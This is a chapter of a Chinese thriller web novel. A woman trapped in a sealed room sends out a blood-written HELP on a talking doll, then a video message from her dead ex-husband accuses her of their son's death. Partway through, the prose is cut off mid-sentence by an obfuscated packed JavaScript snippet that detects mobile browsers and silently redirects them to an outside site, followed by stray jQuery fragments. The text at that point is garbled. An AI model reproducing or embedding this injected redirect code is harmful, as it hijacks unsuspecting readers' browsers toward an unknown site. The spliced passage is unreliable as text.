30.密室——王烈
作品:《心惊胆颤》 不是康康……是一个娃娃!一个高度仿真的、会说话的娃娃!
巨大的失落感如同冰水浇头,瞬间熄灭了安娜心中那点不切实际的幻想火焰。
但紧接着,一股更强烈的、混杂着恐惧和诡异的感觉涌了上来。
这个娃娃……太像了!太像她记忆中的康康了!那眉眼,那轮廓,甚至那声音的语调……是谁?是谁制造了它?那个疯子到底想干什么?!
就在她抱着娃娃,陷入巨大的混乱和惊骇时,她的手指无意中碰到了娃娃身体旁边的一个硬物。
矿泉水瓶!
黑暗中,她摸索着,竟然摸到了两瓶未开封的矿泉水!冰凉的塑料瓶身,如同沙漠中的甘泉,瞬间点燃了她身体里最后残存的、对水分的疯狂渴求!
喉咙深处那如同被砂纸反复打磨、被烈火灼烧的剧痛,让她几乎丧失了所有理智!
她猛地松开抱着娃娃的手,任由那个冰冷的仿真躯体跌落在黑暗的地面上。
“妈妈……水……” 娃娃微弱的声音再次响起。
但安娜已经听不进去了!她所有的注意力都集中在手中的水瓶上!
她颤抖着,用沾满血污、粘液和灰尘的手指,粗暴地拧开瓶盖!
“咕咚!咕咚!咕咚!”
冰凉的液体如同救命的琼浆,疯狂地涌入她干裂的喉咙,冲刷着那令人窒息的灼痛和血腥味!
她贪婪地吞咽着,喉结剧烈滚动,发出满足的、近乎呜咽的声响。
清凉感顺着食道滑入胃袋,带来一种久旱逢甘霖的、近乎虚脱的舒适感。
她一口气几乎喝光了整整一瓶!
就在她意犹未尽,准备拧开第二瓶时——
“妈妈……给我一口水吧……妈妈……我好渴……” 娃娃的声音带着更加明显的哀求和虚弱,再次清晰地响起。
安娜的动作猛地顿住了。她握着第二瓶水,手指因为用力而指节发白。
水……只剩下这一瓶了。
这个密室依然封闭。没有食物。不知道还要被困多久。这瓶水,是她活下去最后的保障。
给一个娃娃喝水?多么荒谬!多么浪费!即使它做得再逼真,再像康康,它也只是一个没有生命的玩偶!是那个疯子用来折磨她的道具!
一股强烈的、根植于生存本能的排斥感油然而生。人不为己,天诛地灭!在这种绝境下,每一滴水都珍贵如生命!怎么能浪费在一个玩偶身上?
它喊渴,不过是预设的程序!是陷阱的一部分!
“闭嘴!” 安娜对着黑暗中的娃娃低吼了一声,声音嘶哑而冷酷。
她将第二瓶水紧紧抱在怀里,如同守护着最后的珍宝,身体蜷缩到远离娃娃的另一个角落。
娃娃的哀求声还在断断续续地响着,每一声“妈妈”都像针一样扎在她混乱的神经上,让她烦躁不安,却无法动摇她守护水源的决心。
她需要活下去!需要想办法出去!
安娜强迫自己冷静下来,开始在这个狭小的黑暗空间里仔细摸索。
墙壁冰冷粗糙,是坚硬的混凝土。地面同样坚硬。
她沿着墙壁一寸寸地摸索,试图找到任何可能的缝隙或机关。
突然,在靠近天花板的一个角落,她的手指触碰到了一股微弱的气流!
她精神一振!踮起脚尖,努力向上摸索。那里有一个开口!
一个大约十几公分高、三十公分宽的矩形通风口!微弱的光线(似乎是阳光?)和新鲜的、带着些许尘土味道的空气,正从那里丝丝缕缕地透进来!
通风口!连接着外界!
巨大的狂喜瞬间淹没了安娜!她找到了生机!只要能把求救信息传递出去!
“妈妈……水……” 娃娃微弱的声音再次不合时宜地响起。
安娜烦躁地低咒了一声,目光却不由自主地落在了那个被自己扔在角落的娃娃身上。
一个念头瞬间闪过——在这个娃娃身上写求救信息!然后把它塞出通风口!
只要有人捡到,看到上面的“HELP”,就有可能报警!
她立刻行动起来。
没有笔,但她有小刀,还有……她的血!她毫不犹豫地用刀尖划破了自己的指尖!
剧烈的刺痛传来,温热的血液涌出。
她抓起那个冰冷的娃娃,将它翻转过来,借着通风口透进来的极其微弱的光线,用染血的手指,在娃娃背部的衣服上,用力地、一笔一划地写下了巨大的、歪歪扭扭的汉字——“救命”以及字母——“HELP”!每一个字母都浸透着她的求生欲望和鲜血的暗红。
写完求救信号,安娜再次踮起脚尖,努力将娃娃举向那个通风口。
通风口很高,她需要跳起来才能够到。
她抱着娃娃,奋力向上一跃!指尖勉强碰到了通风口的下沿。
她用力地将娃娃向上塞去!娃娃的身体很软,她艰难地调整着角度,一点一点地,将那个写着血字“HELP”的娃娃,硬生生地塞出了通风口!
“噗通。” 一声轻微的落地声从通风口外隐约传来。
成功了!娃娃被扔出去了!
安娜脱力般地滑坐在地,背靠着冰冷的墙壁,大口地喘着粗气。
怀里的那瓶水被她紧紧抱着,如同最后的慰藉。希望,如同那通风口透进来的微光,虽然渺茫,却真实地存在着。
她疲惫地闭上眼睛,等待着,祈祷着。
时间在死寂的黑暗中流逝,每一秒都无比漫长。娃娃被扔出去多久了?十分钟?半小时?外面有人吗?有人会看到吗?
就在安娜的希冀渐渐被焦灼和不安取代时——
“滋滋……滋啦……”
一阵突如其来的电流杂音,如同毒蛇吐信般,在死寂的黑暗中骤然响起!
安娜猛地睁开眼睛!
只见在她刚刚冲进来的那扇厚重的金属大门上——那扇此刻已变成冰冷墙壁的金属门——一块原本光滑的金属面板,突然向内凹陷,接着向一侧无声滑开,露出了一个书本大小的电子屏幕!
屏幕先是闪烁着一片刺眼的雪花,伴随着滋滋的电流声。
几秒钟后,雪花褪去,屏幕稳定下来,散发出幽幽的蓝光,清晰地照亮了安娜所在狭小空间的一角。
屏幕上,出现了一个画面。
一个穿着剪裁精良、质料上乘的黑色高定西装的男人,靠坐在一张深色的皮质沙发上。
背景是一间装潢考究、却显得异常空旷冷清的客厅。
巨大的落地窗外,是纽约黄昏时分的城市天际线,灯火初上,却透着一股疏离感。
画面中的男人,面色是一种久不见阳光
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16011145|178037||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的、近乎透明的苍白。
脸颊消瘦得有些凹陷,勾勒出过于分明的下颌线条。
他的头发梳理得一丝不苟,却依旧能看出几缕刺眼的白发夹杂其中。
最令人心悸的是他的眼睛——那是一双深不见底的黑眸,里面没有任何波澜,没有任何生气,只有一片沉沉的、如同万年寒潭般的死寂。
仿佛所有的情感、所有的光,都早已被彻底抽干、湮灭。
安娜的瞳孔骤然缩紧!全身的血液仿佛瞬间凝固!
这张脸……这张苍白、消瘦、死气沉沉却依旧英俊得令人心碎的脸……
王烈!
她的前夫!康康的父亲!
巨大的震惊如同海啸般将她淹没!
怎么会是他?!
那个温文尔雅、曾经用充满爱意眼神看着她和康康的王烈?!
那个在康康死后,用尽一切法律手段将她驱逐、断绝一切联系的王烈?!
他竟然……竟然变成了眼前这个如同从坟墓里爬出来的、散发着冰冷死气的复仇者?!
屏幕上的王烈,缓缓地抬起眼帘。那双毫无生气的黑眸,仿佛穿透了屏幕,穿透了时空的距离,精准地、冰冷地锁定了蜷缩在黑暗角落、满身污秽、如同惊弓之鸟的安娜。
他缓缓地、极其缓慢地,将交叠在膝盖上的双手分开,十指交叉,放在身前。
这个动作带着一种刻板的、如同精密仪器般的优雅,却毫无温度。
他微微前倾了一点身体,靠近了镜头。苍白的面容在屏幕的蓝光下显得更加诡异。
他张开薄薄的、几乎没有血色的嘴唇,声音通过屏幕的扬声器传来,低沉、平稳、清晰,却像冰冷的金属摩擦,带着一种深入骨髓的寒意,每一个字都精准地敲打在安娜的神经上:
“安娜。”
他叫了她的名字,没有任何称谓。那冰冷的声线,让安娜不由自主地打了个寒颤。
“当你看到这个视频的时候,” 王烈停顿了一下,那双死寂的黑眸似乎微微转动了一下,像是在确认什么,“我已经死了。”
“轰——!” 这句话如同惊雷,在安娜的脑海中炸响!死了?!他死了?!那这一切……是谁在操控?!
王烈仿佛看穿了她的震惊和疑问,继续用那毫无波澜的语调说道:
“对于这几间密室,你满意吗?这是我花费了半辈子的积蓄,为你量身打造的最终归宿。”
他的嘴角似乎极其轻微地向上牵动了一下,那不是一个笑容,更像是一种冰冷的嘲弄。
“你是不是以为,我不知道康康死的那天,究竟发生了什么?”
康康!这个名字的出现,像一把烧红的匕首,狠狠捅进了安娜的心脏!她抱着水瓶的手臂猛地收紧,指甲几乎要嵌进塑料瓶身!
屏幕上的王烈,那双死寂的眼眸深处,似乎有什么东西极快地破碎了一下,但瞬间又恢复了冰冷的死水。他的声音依旧平稳,却带上了一丝不易察觉的、如同冰层下暗流涌动的寒意:
“你把康康锁在闷热的车里,让他像被遗忘的包裹一样,在滚烫的金属牢笼里绝望地哭喊、拍打……而你,” 他的声音陡然变得锐利,如同冰锥,“却和你的情夫约翰,在那个肮脏的酒店房间里翻云覆雨!被他妻子捉奸在床,扭打在一起,就是你所谓的‘绝望’?”

